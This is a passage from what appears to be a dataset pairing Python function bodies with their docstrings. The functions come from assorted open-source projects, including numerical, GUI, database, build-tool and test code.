test_lookup_hash_metadata(self):lookup_hash() -- metadata"} {"code": "def read(self, filenames, encoding=None):\n if isinstance(filenames, (str, bytes, os.PathLike)):\n filenames = [filenames]\n read_ok = []\n for filename in filenames:\n try:\n with open(filename, encoding=encoding) as fp:\n self._read(fp, filename)\n except OSError:\n continue\n if isinstance(filename, os.PathLike):\n filename = os.fspath(filename)\n read_ok.append(filename)\n return read_ok\n", "nl": "Read and parse a filename or an iterable of filenames.Files that cannot be opened are silently ignored; this isdesigned so that you can specify an iterable of potentialconfiguration file locations (e.g. current directory, user'shome directory, systemwide directory), and all existingconfiguration files in the iterable will be read. A singlefilename may also be given.Return list of successfully read files."} {"code": "def legfromroots(roots):\n if len(roots) == 0:\n return np.ones(1)\n else:\n [roots] = pu.as_series([roots], trim=False)\n roots.sort()\n p = [legline(-r, 1) for r in roots]\n n = len(p)\n while n > 1:\n m, r = divmod(n, 2)\n tmp = [legmul(p[i], p[i+m]) for i in range(m)]\n if r:\n tmp[0] = legmul(tmp[0], p[-1])\n p = tmp\n n = m\n return p[0]\n\n", "nl": "Generate a Legendre series with given roots.The function returns the coefficients of the polynomial.. math:: p(x) = (x - r_0) * (x - r_1) * ... * (x - r_n),in Legendre form, where the `r_n` are the roots specified in `roots`.If a zero has multiplicity n, then it must appear in `roots` n times.For instance, if 2 is a root of multiplicity three and 3 is a root ofmultiplicity 2, then `roots` looks something like [2, 2, 2, 3, 3]. Theroots can appear in any order.If the returned coefficients are `c`, then.. math:: p(x) = c_0 + c_1 * L_1(x) + ... + c_n * L_n(x)The coefficient of the last term is not generally 1 for monicpolynomials in Legendre form.Parameters----------roots : array_likeSequence containing the roots.Returns-------out : ndarray1-D array of coefficients. If all roots are real then `out` is areal array, if some of the roots are complex, then `out` is complexeven if all the coefficients in the result are real (see Examplesbelow).See Also--------polyfromroots, chebfromroots, lagfromroots, hermfromroots,hermefromroots.Examples-------->>> import numpy.polynomial.legendre as L>>> L.legfromroots((-1,0,1)) # x^3 - x relative to the standard basisarray([ 0. , -0.4, 0. , 0.4])>>> j = complex(0,1)>>> L.legfromroots((-j,j)) # x^2 + 1 relative to the standard basisarray([ 1.33333333+0.j, 0.00000000+0.j, 0.66666667+0.j])"} {"code": "def __init__(self, cfg, model, tta_mapper=None, batch_size=3):\n super().__init__()\n if isinstance(model, DistributedDataParallel):\n model = model.module\n assert isinstance(\n model, GeneralizedRCNN\n ), \"TTA is only supported on GeneralizedRCNN. Got a model of type {}\".format(type(model))\n self.cfg = cfg.clone()\n assert not self.cfg.MODEL.KEYPOINT_ON, \"TTA for keypoint is not supported yet\"\n assert (\n not self.cfg.MODEL.LOAD_PROPOSALS\n ), \"TTA for pre-computed proposals is not supported yet\"\n\n self.model = model\n\n if tta_mapper is None:\n tta_mapper = DatasetMapperTTA(cfg)\n self.tta_mapper = tta_mapper\n self.batch_size = batch_size\n\n @contextmanager", "nl": "Args:cfg (CfgNode):model (GeneralizedRCNN): a GeneralizedRCNN to apply TTA on.tta_mapper (callable): takes a dataset dict and returns a list ofaugmented versions of the dataset dict. Defaults to`DatasetMapperTTA(cfg)`.batch_size (int): batch the augmented images into this batch size for inference."} {"code": "def __init__(self, locator):\n Thread.__init__(self)\n\n self._locator = locator\n\n self._taskQueue = Queue()\n self._resultQueue = Queue()\n\n self._checkResultQueueTimer = QTimer()\n self._checkResultQueueTimer.setInterval(50)\n self._checkResultQueueTimer.timeout.connect(self._checkResultQueue)\n self._checkResultQueueTimer.start()\n\n self._stopEvent = Event()\n Thread.start(self)\n", "nl": "Works in the GUI thread"} {"code": "def _parse_request(course, unit_id, reviewee_id, reviewer_id=None):\n request_params = {}\n\n if not unit_id:\n return request_params, ''\n\n unit = course.find_unit_by_id(unit_id)\n if not unit:\n return request_params, '404: Unit not found.'\n if (unit.workflow.get_grader() != courses.HUMAN_GRADER or\n unit.workflow.get_matcher() != review.PEER_MATCHER):\n return request_params, '412: This unit is not peer-graded.'\n request_params['unit'] = unit\n\n if not reviewee_id:\n return request_params, '412: No student email supplied.'\n\n reviewee, unique = models.Student.get_first_by_email(reviewee_id)\n if reviewee and not unique:\n return (request_params,\n 'Several students with this email address exist.')\n if not reviewee or not reviewee.is_enrolled:\n return (request_params,\n 'No student with this email address exists.')\n request_params['reviewee'] = reviewee\n\n if reviewer_id is not None:\n if not reviewer_id:\n return request_params, '412: No reviewer email supplied.'\n reviewer, unique = models.Student.get_first_by_email(reviewer_id)\n if reviewer and not unique:\n return (request_params,\n '412: Several students with this email address exist.')\n if not reviewer or not reviewer.is_enrolled:\n return (request_params,\n '412: No reviewer with this email address exists.')\n request_params['reviewer'] = reviewer\n\n return request_params, ''\n\n", "nl": "Parses request parameters in a GET or POST request.Args:course: Course. A course object.unit_id: str. The id of the unit.reviewee_id: str. The email address of the reviewee.reviewer_id: str. The email address of the reviewer.Returns:- a dict containing some subset of the following keys: unit,reviewee, reviewer.- if necessary, an error message to be passed to the frontend."} {"code": "def _mesh_obj_large():\n pts = np.array([[0, 1], [0, 0], [1, 0]])\n tri = np.array([[0, 1, 2]])\n k_truth = np.array([[1, -1, 0], [-1, 2, -1], [0, -1, 1]])\n area = 0.5\n ke = pyeit.eit.fem.calculate_ke(pts, tri)\n\n self.assertTrue(ke.shape == (1, 3, 3))\n self.assertTrue(np.allclose(ke[0], k_truth * area))\n", "nl": "build a large, random mesh model/datasetn_tri, n_pts = 400, 1000node = np.random.randn(n_pts, 2)element = np.array([np.random.permutation(n_pts)[:3] for _ in range(n_tri)])perm = np.random.randn(n_tri)np.random.seed(0)el_pos = np.random.permutation(n_pts)[:16]return PyEITMesh(node=node, element=element, perm=perm, el_pos=el_pos, ref_node=0)def _protocol_obj(ex_mat, n_el, step_meas, parser_meas):meas_mat, keep_ba = build_meas_pattern_std(ex_mat, n_el, step_meas, parser_meas)return PyEITProtocol(ex_mat, meas_mat, keep_ba)class TestFem(unittest.TestCase):def test_ke_triangle(self):test ke calculation using triangle (2D)"} {"code": "def artist(self) -> Optional[str]:\n return self._album\n\n @property", "nl": "Return artist of current playing media as string.return self._artist@propertydef album(self) -> Optional[str]:Return album name of current playing media as string."} {"code": "def StreamStep(self, theta, input_vec, paddings, state0):\n p = self.params\n assert p.is_masked\n with tf.name_scope(f'{p.name}/StreamStep'):\n input_vec, paddings = self._CastToFPropDtype((input_vec, paddings))\n unnormalized_input_vec = input_vec\n\n if p.ln_tpl:\n input_vec = self.layer_norm.FProp(theta.layer_norm, input_vec)\n input_vec = self._CastToFPropDtype(input_vec)\n\n pooled_query_vec, pooled_paddings = self.funnel_pool.StreamStep(\n theta.funnel_pool, input_vec, paddings)\n key_vec = input_vec\n output, pooled_paddings, atten_state1 = self.atten.StreamStep(\n theta.atten, pooled_query_vec, pooled_paddings, key_vec, paddings,\n state0.atten)\n\n output = self.residual_dropout.FProp(theta.residual_dropout, output)\n\n input_to_add = (\n unnormalized_input_vec if p.add_unnormalized_input else input_vec)\n input_to_add, _ = self.res_funnel_pool.StreamStep(theta.res_funnel_pool,\n input_to_add, paddings)\n\n if p.add_skip_connection:\n output, atten_state1 = self.atten.StreamStepAddSkipConnection(\n input_to_add, output, state0.atten, atten_state1)\n return output, pooled_paddings, py_utils.NestedMap(atten=atten_state1)\n\n\nclass TransformerMultiSourceAttentionLayer(TransformerAttentionLayer):\n \"\"\"Batch major multi-source multi-headed attention.\n\n @classmethod", "nl": "Computes the value vector given the query of the current step.Args:theta: a NestedMap with layer weights.input_vec: A query vector of shape [B, T, D].paddings: A 0/1 valued tensor of shape [B, T].state0: A `.NestedMap` of the same structure as returned by zero_state().Returns:output: Output of the given query vector with shape [B, T, D].padding: the same as input paddings.state: updated state."} {"code": "def get_select_precolumns(self, select, **kw):\n if isinstance(select._distinct, util.string_types):\n return select._distinct.upper() + \" \"\n elif select._distinct:\n return \"DISTINCT \"\n else:\n return \"\"\n", "nl": "Add special MySQL keywords in place of DISTINCT... note::this usage is deprecated. :meth:`.Select.prefix_with`should be used for special keywords at the startof a SELECT."} {"code": "def connected(self, publisher):\n log.msg('connected to publisher')\n publisher.broker.notifyOnDisconnect(self.booted)\n self.publisher = publisher\n self.waiting = 0\n for request in self.pending:\n self.render(request)\n self.pending = []\n", "nl": "I've connected to a publisher; I'll now send all my requests."} {"code": "def add_moc_tasks(self):\n\t\tnode = self.inputs[0]\n\t\tbld = self.generator.bld\n\n\t\tif bld.is_install == Build.UNINSTALL:\n\t\t\treturn\n\n\t\ttry:\n\t\t\tself.signature()\n\t\texcept KeyError:\n\t\t\tpass\n\t\telse:\n\t\t\tdelattr(self, 'cache_sig')\n\n\t\tinclude_nodes = [node.parent] + self.generator.includes_nodes\n\n\t\tmoctasks = []\n\t\tmocfiles = set()\n\t\tfor d in bld.raw_deps.get(self.uid(), []):\n\t\t\tif not d.endswith('.moc'):\n\t\t\t\tcontinue\n\n\t\t\tif d in mocfiles:\n\t\t\t\tcontinue\n\t\t\tmocfiles.add(d)\n\n\t\t\th_node = None\n\t\t\tbase2 = d[:-4]\n\n\t\t\tprefix = node.name[:node.name.rfind('.')]\n\t\t\tif base2 == prefix:\n\t\t\t\th_node = node\n\t\t\telse:\n\t\t\t\tfor x in include_nodes:\n\t\t\t\t\tfor e in MOC_H:\n\t\t\t\t\t\th_node = x.find_node(base2 + e)\n\t\t\t\t\t\tif h_node:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tbreak\n\t\t\tif h_node:\n\t\t\t\tm_node = h_node.change_ext('.moc')\n\t\t\telse:\n\t\t\t\traise Errors.WafError('No source found for %r which is a moc file' % d)\n\n\t\t\ttask = self.create_moc_task(h_node, m_node)\n\t\t\tmoctasks.append(task)\n\n\t\tself.run_after.update(set(moctasks))\n\t\tself.moc_done = 1\n\nclass trans_update(Task.Task):\n\t\"\"\"Updates a .ts files from a list of C++ files\"\"\"\n\tParses ``.qrc`` files\n\t\"\"\"", "nl": "Creates moc tasks by looking in the list of file dependencies ``bld.raw_deps[self.uid()]``"} {"code": "def dialogyesno(self):\n headertxt = clean_string(self.params.get(\"header\", \"\"))\n bodytxt = clean_string(self.params.get(\"message\", \"\"))\n xbmcgui.Dialog().textviewer(headertxt, bodytxt)\n\n", "nl": "helper to show a YES/NO dialog with a messageheadertxt = clean_string(self.params.get(\"header\", \"\"))bodytxt = clean_string(self.params.get(\"message\", \"\"))yesactions = self.params.get(\"yesaction\", \"\").split(\"|\")noactions = self.params.get(\"noaction\", \"\").split(\"|\")if xbmcgui.Dialog().yesno(heading=headertxt, message=bodytxt):for action in yesactions:xbmc.executebuiltin(action)else:for action in noactions:xbmc.executebuiltin(action)def textviewer(self):helper to show a textviewer dialog with a message"} {"code": "def duplicate(self, **kargs):\n\n results = mc.duplicate(self, **kargs)[0]\n\n if results:\n return self.__class__(results)\n\n return None\n\n", "nl": "Duplicate the node with the given options**kargs**\tkeywords arg supported by maya.cmds.duplicate**RETURNS** MNode of the new node>>> new_node = node.duplicate()"} {"code": "def configure_root(self, config, incremental=False):\n dictConfigClass(config).configure()\n\n", "nl": "Configure a root logger from a dictionary.root = logging.getLogger()self.common_logger_config(root, config, incremental)dictConfigClass = DictConfiguratordef dictConfig(config):Configure logging using a dictionary."} {"code": "def getPluginActions(self, index):\n\n index = self.data[\"proxies\"][\"plugin\"].mapToSource(\n self.data[\"proxies\"][\"plugin\"].index(\n index, 0, QtCore.QModelIndex())).row()\n item = self.data[\"models\"][\"item\"].items[index]\n\n actions = [\n dict(action, **{\"index\": index})\n for action in item.actions\n ]\n\n for action in list(actions):\n if action[\"on\"] == \"failed\" and not item.hasError:\n actions.remove(action)\n if action[\"on\"] == \"warning\" and not item.hasWarning:\n actions.remove(action)\n if action[\"on\"] == \"failedOrWarning\" and not (item.hasError or item.hasWarning):\n actions.remove(action)\n if action[\"on\"] == \"succeeded\" and not item.succeeded:\n actions.remove(action)\n if action[\"on\"] == \"processed\" and not item.processed:\n actions.remove(action)\n if action[\"on\"] == \"notProcessed\" and item.processed:\n actions.remove(action)\n\n remaining_actions = list()\n index = 0\n try:\n action = actions[index]\n except IndexError:\n pass\n else:\n while action:\n try:\n action = actions[index]\n except IndexError:\n break\n\n isempty = False\n\n if action[\"__type__\"] in (\"category\", \"separator\"):\n try:\n next_ = actions[index + 1]\n if next_[\"__type__\"] != \"action\":\n isempty = True\n except IndexError:\n isempty = True\n\n if not isempty:\n remaining_actions.append(action)\n\n index += 1\n\n return remaining_actions\n\n @QtCore.Slot(str)", "nl": "Return actions from plug-in at `index`Arguments:index (int): Index at which item is located in model"} {"code": "def test_act_v(self):\n self.skill.skill_context._agent_context._shared_state = {\n \"is_game_finished\": False,\n \"tac_version_id\": self.tac_version_id,\n }\n self.goal_pursuit_readiness._status = GoalPursuitReadiness.Status.READY\n\n searching_for_types = [(True, \"sellers\"), (False, \"buyers\")]\n no_searches = len(searching_for_types)\n\n self.tac_negotiation.failed_registration_msg = self.registration_message\n self.tac_negotiation._max_soef_registration_retries = 2\n self.tac_negotiation._nb_retries = 2\n\n with patch.object(\n self.strategy,\n \"get_location_description\",\n return_value=self.mocked_description,\n ):\n with patch.object(\n self.strategy,\n \"get_register_service_description\",\n return_value=self.mocked_description,\n ):\n with patch.object(\n self.strategy,\n \"get_location_and_service_query\",\n return_value=self.mocked_query,\n ):\n with patch.object(\n type(self.strategy),\n \"searching_for_types\",\n new_callable=PropertyMock,\n return_value=searching_for_types,\n ):\n with patch.object(self.logger, \"log\") as mock_logger:\n self.tac_negotiation.act()\n\n self.assert_quantity_in_outbox(no_searches + 1)\n assert self.skill.skill_context.is_active is False\n\n has_attributes, error_str = self.message_has_attributes(\n actual_message=self.get_message_from_outbox(),\n message_type=OefSearchMessage,\n performative=OefSearchMessage.Performative.REGISTER_SERVICE,\n to=self.skill.skill_context.search_service_address,\n sender=self.sender,\n service_description=self.mocked_description,\n )\n assert has_attributes, error_str\n\n mock_logger.assert_any_call(logging.INFO, \"registering agent on SOEF.\")\n\n for search in searching_for_types:\n message = self.get_message_from_outbox()\n has_attributes, error_str = self.message_has_attributes(\n actual_message=message,\n message_type=OefSearchMessage,\n performative=OefSearchMessage.Performative.SEARCH_SERVICES,\n to=self.skill.skill_context.search_service_address,\n sender=self.sender,\n query=self.mocked_query,\n )\n assert has_attributes, error_str\n\n assert (\n cast(\n OefSearchDialogue, self.oef_search_dialogues.get_dialogue(message)\n ).is_seller_search\n == search[0]\n )\n\n mock_logger.assert_any_call(\n logging.INFO,\n f\"searching for {search[1]}, search_id={message.dialogue_reference}.\",\n )\n", "nl": "Test the act method of the negotiation behaviour where failed_registration_msg is NOT None.# setupself.skill.skill_context._agent_context._shared_state = {\"is_game_finished\": False,\"tac_version_id\": self.tac_version_id,}self.goal_pursuit_readiness._status = GoalPursuitReadiness.Status.READYsearching_for_types = [(True, \"sellers\"), (False, \"buyers\")]no_searches = len(searching_for_types)self.tac_negotiation.failed_registration_msg = self.registration_message# operationwith patch.object(self.strategy,\"get_location_description\",return_value=self.mocked_description,):with patch.object(self.strategy,\"get_register_service_description\",return_value=self.mocked_description,):with patch.object(self.strategy,\"get_location_and_service_query\",return_value=self.mocked_query,):with patch.object(type(self.strategy),\"searching_for_types\",new_callable=PropertyMock,return_value=searching_for_types,):with patch.object(self.logger, \"log\") as mock_logger:self.tac_negotiation.act()# afterself.assert_quantity_in_outbox(no_searches + 2)# _retry_failed_registrationhas_attributes, error_str = self.message_has_attributes(actual_message=self.get_message_from_outbox(),message_type=type(self.registration_message),performative=self.registration_message.performative,to=self.registration_message.to,sender=str(self.skill.skill_context.skill_id),service_description=self.registration_message.service_description,)assert has_attributes, error_strmock_logger.assert_any_call(logging.INFO,f\"Retrying registration on SOEF. Retry {self.tac_negotiation._nb_retries} out of {self.tac_negotiation._max_soef_registration_retries}.\",)assert self.tac_negotiation.failed_registration_msg is None# _register_agenthas_attributes, error_str = self.message_has_attributes(actual_message=self.get_message_from_outbox(),message_type=OefSearchMessage,performative=OefSearchMessage.Performative.REGISTER_SERVICE,to=self.skill.skill_context.search_service_address,sender=self.sender,service_description=self.mocked_description,)assert has_attributes, error_strmock_logger.assert_any_call(logging.INFO, \"registering agent on SOEF.\")# _search_servicesfor search in searching_for_types:message = self.get_message_from_outbox()has_attributes, error_str = self.message_has_attributes(actual_message=message,message_type=OefSearchMessage,performative=OefSearchMessage.Performative.SEARCH_SERVICES,to=self.skill.skill_context.search_service_address,sender=self.sender,query=self.mocked_query,)assert has_attributes, error_strassert (cast(OefSearchDialogue, self.oef_search_dialogues.get_dialogue(message)).is_seller_search== search[0])mock_logger.assert_any_call(logging.INFO,f\"searching for {search[1]}, search_id={message.dialogue_reference}.\",)def test_act_vi(self):Test the act method of the negotiation behaviour where failed_registration_msg is NOT None and max retries is reached."} {"code": "def stats(self) -> ConsoleStats:\n return ConsoleStats(tracker=self, stream=self._stream)\n", "nl": "Return a ``ConsoleStats`` instance initialized with the current stateof the class tracker."} {"code": "def alignValue(value, align):\n\n if value % align != 0:\n return value + align - (value % align)\n else:\n return value\n", "nl": "Align a value to next 'align' multiple.>>> alignValue(31, 4)32>>> alignValue(32, 4)32>>> alignValue(33, 4)36Note: alignValue(value, align) == (value + paddingSize(value, align))"} {"code": "def __removeAllToonDropShadows(self):\n for entry in self.toonDropShadows:\n entry[0].removeNode()\n self.toonDropShadows = []\n\n", "nl": "this removes ALL toon drop shadows; if we unexpectedly haveto end the game, we may no longer have instances of theremote toons, so to be safe, we can just delete them all"} {"code": "def __call__(self, observations: torch.Tensor, reconstructed_observations: torch.Tensor, weight_mask=None):\n\n\n observations = observations[:, :, :3]\n\n sequence_length = observations.size(1)\n reconstructed_sequence_length = reconstructed_observations.size(1)\n\n original_observation_height = observations.size(3)\n original_observation_width = observations.size(4)\n height = reconstructed_observations.size(3)\n width = reconstructed_observations.size(4)\n\n if reconstructed_sequence_length != sequence_length:\n if reconstructed_sequence_length != sequence_length - 1:\n raise Exception(f\"Received an input batch with sequence length {sequence_length}, but got a reconstructed batch of {reconstructed_sequence_length}\")\n observations = observations[:, 1:]\n sequence_length -= 1\n\n flattened_observations = TensorFolder.flatten(observations)\n flattened_reconstructed_observations = TensorFolder.flatten(reconstructed_observations)\n\n flattened_observations = F.interpolate(flattened_observations, (height, width), mode='bilinear')\n\n if weight_mask is not None:\n weight_mask_length = weight_mask.size(1)\n if weight_mask_length != reconstructed_sequence_length:\n if reconstructed_sequence_length != weight_mask_length - 1:\n raise Exception(f\"Received a reconstructed sequence with length {reconstructed_sequence_length}, but got a weight mast of length {weight_mask_length}\")\n weight_mask = weight_mask[:, 1:]\n observations_channels = observations.size(2)\n assert(observations_channels == 3)\n\n flattened_weight_mask = TensorFolder.fold(weight_mask)\n flattened_weight_mask = F.interpolate(flattened_weight_mask, (height, width), mode='bilinear')\n unreduced_loss = torch.abs(flattened_observations - flattened_reconstructed_observations)\n unreduced_loss = unreduced_loss * flattened_weight_mask\n loss = unreduced_loss.sum(dim=(2, 3))\n loss = loss / (weight_mask.sum(dim=(2, 3)) * observations_channels)\n return loss.mean()\n\n return self.loss(flattened_observations, flattened_reconstructed_observations)\n\n\nclass KLDivergence:\n", "nl": ":param observations: (bs, observations_count, 3*observation_stacking, h, w) ground truth observations. Rescaled if needed:param reconstructed_observations: (bs, observations_count|observations_count-1, 3, height, width) tensor with reconstructed frames:param weight_mask: (bs, observations_count, 1, h, w) tensor weights to assign to each spatial position for loss computation. Rescaled if needed:return:"} {"code": "def is_derived(self):\n return self.type in self._get_derived_node_types()\n", "nl": "This is a helper method to aid in the checking of if a Node hasbeen analyzed further when we delete an Analysis.:returns True if the node in question's type exists in the list ofNode types which are \"derived\""} {"code": "def test_entity_registry_is_instance_entity_registry(self):\n self.assertTrue(isinstance(entity_registry, EntityRegistry))\n", "nl": "Tests the entity_registry global variable is an instance of EntityRegistry."} {"code": "def stop(self):\n return sum(self.times) / len(self.times)\n", "nl": "Stop the timer and record the time in a list.self.times.append(time.time() - self.tik)return self.times[-1]def avg(self):Return the average time."} {"code": "def __str__(self) -> str:\n Make `auto()` explicitly unsupported.\n\n We may revisit this when it's very clear that Python 3.11's\n `StrEnum.auto()` behavior will no longer change.\n \"\"\"", "nl": "Return self.value.return str(self.value)@staticmethoddef _generate_next_value_( # pylint: disable=arguments-differ # https://github.com/PyCQA/pylint/issues/5371name: str, start: int, count: int, last_values: list[Any]) -> Any:"} {"code": "def module(self, name):\n for mod in self.modules():\n if mod.node.name == name:\n return mod\n raise KeyError(name)\n", "nl": "return a module by its name, raise KeyError if not found"} {"code": "def test_it_raises_if_json_parsing_fails(self, pyramid_request):\n type(pyramid_request).json_body = {}\n with mock.patch.object(\n type(pyramid_request), \"json_body\", new_callable=mock.PropertyMock\n ) as json_body:\n json_body.side_effect = ValueError()\n with pytest.raises(views.PayloadError):\n views.update(annotation_context, pyramid_request)\n\n @pytest.fixture", "nl": "It raises PayloadError if parsing of the request body fails.# Make accessing the request.json_body property raise ValueError.type(pyramid_request).json_body = {}with mock.patch.object(type(pyramid_request), \"json_body\", new_callable=mock.PropertyMock) as json_body:json_body.side_effect = ValueError()with pytest.raises(views.PayloadError):views.create(pyramid_request)def test_it_raises_if_validate_raises(self, pyramid_request, create_schema):create_schema.return_value.validate.side_effect = ValidationError(\"asplode\")with pytest.raises(ValidationError) as exc:views.create(pyramid_request)assert str(exc.value) == \"asplode\"def test_it_raises_if_create_annotation_raises(self, pyramid_request, storage):storage.create_annotation.side_effect = ValidationError(\"asplode\")with pytest.raises(ValidationError) as exc:views.create(pyramid_request)assert str(exc.value) == \"asplode\"@pytest.fixturedef pyramid_request(self, pyramid_request):pyramid_request.json_body = {}pyramid_request.notify_after_commit = mock.Mock()return pyramid_request@pytest.fixturedef create_schema(self, patch):return patch(\"h.views.api.annotations.CreateAnnotationSchema\")@pytest.mark.usefixtures(\"annotation_json_service\")class TestRead:def test_it_returns_presented_annotation(self, annotation_json_service, pyramid_request, annotation_context):result = views.read(annotation_context, pyramid_request)annotation_json_service.present_for_user.assert_called_once_with(annotation=annotation_context.annotation, user=pyramid_request.user)assert result == annotation_json_service.present_for_user.return_value@pytest.mark.usefixtures(\"AnnotationJSONLDPresenter\", \"links_service\")class TestReadJSONLD:def test_it_sets_correct_content_type(self, AnnotationJSONLDPresenter, pyramid_request):AnnotationJSONLDPresenter.CONTEXT_URL = \"http://foo.com/context.jsonld\"context = mock.Mock()views.read_jsonld(context, pyramid_request)assert pyramid_request.response.content_type == \"application/ld+json\"assert pyramid_request.response.content_type_params == {\"charset\": \"UTF-8\",\"profile\": \"http://foo.com/context.jsonld\",}def test_it_returns_presented_annotation(self,AnnotationJSONLDPresenter,annotation_context,pyramid_request,links_service,):presenter = mock.Mock()AnnotationJSONLDPresenter.return_value = presenterAnnotationJSONLDPresenter.CONTEXT_URL = \"http://foo.com/context.jsonld\"result = views.read_jsonld(annotation_context, pyramid_request)AnnotationJSONLDPresenter.assert_called_once_with(annotation_context.annotation, links_service=links_service)assert result == presenter.asdict()@pytest.fixturedef AnnotationJSONLDPresenter(self, patch):return patch(\"h.views.api.annotations.AnnotationJSONLDPresenter\")@pytest.mark.usefixtures(\"AnnotationEvent\",\"links_service\",\"annotation_json_service\",\"update_schema\",\"storage\",)class TestUpdate:def test_it(self,annotation_context,pyramid_request,update_schema,storage,annotation_json_service,):returned = views.update(annotation_context, pyramid_request)update_schema.assert_called_once_with(pyramid_request,annotation_context.annotation.target_uri,annotation_context.annotation.groupid,)update_schema.return_value.validate.assert_called_once_with(pyramid_request.json_body)storage.update_annotation.assert_called_once_with(pyramid_request,annotation_context.annotation.id,update_schema.return_value.validate.return_value,)annotation_json_service.present_for_user.assert_called_once_with(annotation=storage.update_annotation.return_value, user=pyramid_request.user)assert returned == annotation_json_service.present_for_user.return_valuedef test_it_publishes_annotation_event(self, annotation_context, AnnotationEvent, storage, pyramid_request):views.update(annotation_context, pyramid_request)AnnotationEvent.assert_called_once_with(pyramid_request, storage.update_annotation.return_value.id, \"update\")pyramid_request.notify_after_commit.assert_called_once_with(AnnotationEvent.return_value)def test_it_raises_if_storage_raises(self, annotation_context, pyramid_request, storage):storage.update_annotation.side_effect = ValidationError(\"asplode\")with pytest.raises(ValidationError):views.update(annotation_context, pyramid_request)def test_it_raises_if_validate_raises(self, annotation_context, pyramid_request, update_schema):update_schema.return_value.validate.side_effect = ValidationError(\"asplode\")with pytest.raises(ValidationError):views.update(annotation_context, pyramid_request)def test_it_raises_if_json_parsing_fails(self, annotation_context, pyramid_request):It raises PayloadError if parsing of the request body fails."} {"code": "def load(source, s3=False):\n test_program = False\n new_programs = 0\n updated_programs = 0\n FAILED = []\n if s3:\n s3_url = (\n \"https://files.consumerfinance.gov\"\n \"/pb/paying_for_college/csv/validated_program_data/{}\"\n )\n raw_data = read_in_s3(s3_url.format(source))\n else:\n raw_data = read_in_data(source)\n if not raw_data[0]:\n return ([\"ERROR: could not read data from {0}\".format(source)], \"\")\n\n for row in raw_data:\n if \"test\" in row.keys() and row[\"test\"].lower() == \"true\":\n test_program = True\n fixed_data = clean(row)\n serializer = ProgramSerializer(data=fixed_data)\n\n if serializer.is_valid():\n data = serializer.validated_data\n if not validate_pid(data[\"program_code\"]):\n print(\n \"ERROR: invalid program code: \"\n \"{}\".format(data[\"program_code\"])\n )\n continue\n (school, error) = get_school(data[\"ipeds_unit_id\"])\n if error:\n print(error)\n continue\n\n program, cr = Program.objects.get_or_create(\n institution=school, program_code=data[\"program_code\"]\n )\n if cr:\n new_programs += 1\n else:\n updated_programs += 1\n\n program.accreditor = data[\"accreditor\"]\n program.cip_code = data[\"cip_code\"]\n program.completion_rate = data[\"completion_rate\"]", "nl": "Loads program data from a local or S3 file.For a local file, 'source' should be a CSV file path.For an s3 file, 'source' should be the file name of a CSVin the 'validated_program_data' folder on s3."} {"code": "def get_moving_pairs(body, moving_joints):\n moving_links = get_moving_links(body, moving_joints)\n for link1, link2 in combinations(moving_links, 2):\n ancestors1 = set(get_joint_ancestors(body, link1)) & set(moving_joints)\n ancestors2 = set(get_joint_ancestors(body, link2)) & set(moving_joints)\n if ancestors1 != ancestors2:\n yield link1, link2\n\n", "nl": "Check all fixed and moving pairsDo not check all fixed and fixed pairsCheck all moving pairs with a common"} {"code": "def post(self, group_data):\n hashmap = db_api.get_instance()\n try:\n group_db = hashmap.create_group(group_data.name)\n pecan.response.location = pecan.request.path_url\n if pecan.response.location[-1] != '/':\n pecan.response.location += '/'\n pecan.response.location += group_db.group_id\n return group_models.Group(\n **group_db.export_model())\n except db_api.GroupAlreadyExists as e:\n pecan.abort(409, e.args[0])\n except db_api.ClientHashMapError as e:\n pecan.abort(400, e.args[0])\n\n @wsme_pecan.wsexpose(None,\n ck_types.UuidType(),\n bool,\n status_code=204)", "nl": "Create a group.:param group_data: Informations about the group to create."} {"code": "def should_poll(self) -> bool:\n return STATE_CLASS_TOTAL_INCREASING\n", "nl": "No need to poll. Coordinator notifies entity of updates.return False@propertydef device_info(self):return {\"identifiers\": {# Serial numbers are unique identifiers within a specific domain(DOMAIN, self.sn)},\"name\": \"Homekit\",\"manufacturer\": \"GoodWe\",}@propertydef state_class(self):used by Metered entities / Long Term Statistics"} {"code": "def default_inventory() -> Dict:\n inventory = {\n 'namespaces': [{\n 'name': 'ns0',\n 'source': 'src0'}],\n 'devices': [{'name': 'dev0'}],\n 'auths': [{'name': 'auth0'}],\n 'sources': [{\n 'name': 'src0',\n 'hosts': [{'url': 'ssh://vagrant@10.255.2.250:22'}]\n }]\n }\n yield inventory\n\n\n@pytest.mark.poller\n@pytest.mark.controller\n@pytest.mark.poller_unit_tests\n@pytest.mark.controller_unit_tests\n@pytest.mark.controller_inventory\n@pytest.mark.parametrize('inv_path', _INVENTORY_PATH)\n@pytest.mark.parametrize('exp_inv_path', _EXP_INVENTORY_PATH)", "nl": "Return default inventoryYields:Dict: default inventory"} {"code": "def prob_sample(inp,inpr):\n return sampling_module.prob_sample(inp,inpr)\nops.NoGradient('ProbSample')", "nl": "input:batch_size * ncategory float32batch_size * npoints float32returns:batch_size * npoints int32"} {"code": "def name(self):\n\n @abc.abstractmethod", "nl": "A string naming this mode (e.g. \"ECB\", \"CBC\")."} {"code": "def _read_from_gmt(self, fn):\n with open(fn) as f:\n sets_raw = f.readlines()\n sets_proc = [x.split('\\n')[0] for x in sets_raw]\n sets_proc = [x.split('\\t') for x in sets_proc]\n sets_proc = [self._Set(id=x[0], source=x[1], gene_ids=x[2:]) for x in sets_proc]\n self.sets = sets_proc\n", "nl": "Process gene sets from .gmt file."} {"code": "def __rsub__(self, other ):\n if isinstance( other, basestring ):\n other = ParserElement._literalStringClass( other )\n if not isinstance( other, ParserElement ):\n warnings.warn(\"Cannot combine element of type %s with ParserElement\" % type(other),\n SyntaxWarning, stacklevel=2)\n return None\n return other - self\n", "nl": "Implementation of - operator when left operand is not a C{L{ParserElement}}"} {"code": "def _get_analysis(analysis_uuid):\n try:\n return Analysis.objects.get(uuid=analysis_uuid)\n except (Analysis.DoesNotExist,\n Analysis.MultipleObjectsReturned) as e:\n logger.error(\"Can not retrieve analysis with UUID '%s': '%s'\",\n analysis_uuid, e)\n run_analysis.update_state(state=celery.states.FAILURE)\n return\n\n", "nl": "Try to fetch the Analysis from the given analysis_uuid. Fail the`run_analysis` task if we cannot properly fetch it."} {"code": "def run_command(self, command):\n self.distribution.run_command(command)\n", "nl": "Run some other command: uses the 'run_command()' method ofDistribution, which creates and finalizes the command object ifnecessary and then invokes its 'run()' method."} {"code": "def log_action(self, episode_id, observation, action):\n\n episode = self._get(episode_id)\n episode.log_action(observation, action)\n\n @PublicAPI", "nl": "Record an observation and (off-policy) action taken.Args:episode_id (str): Episode id returned 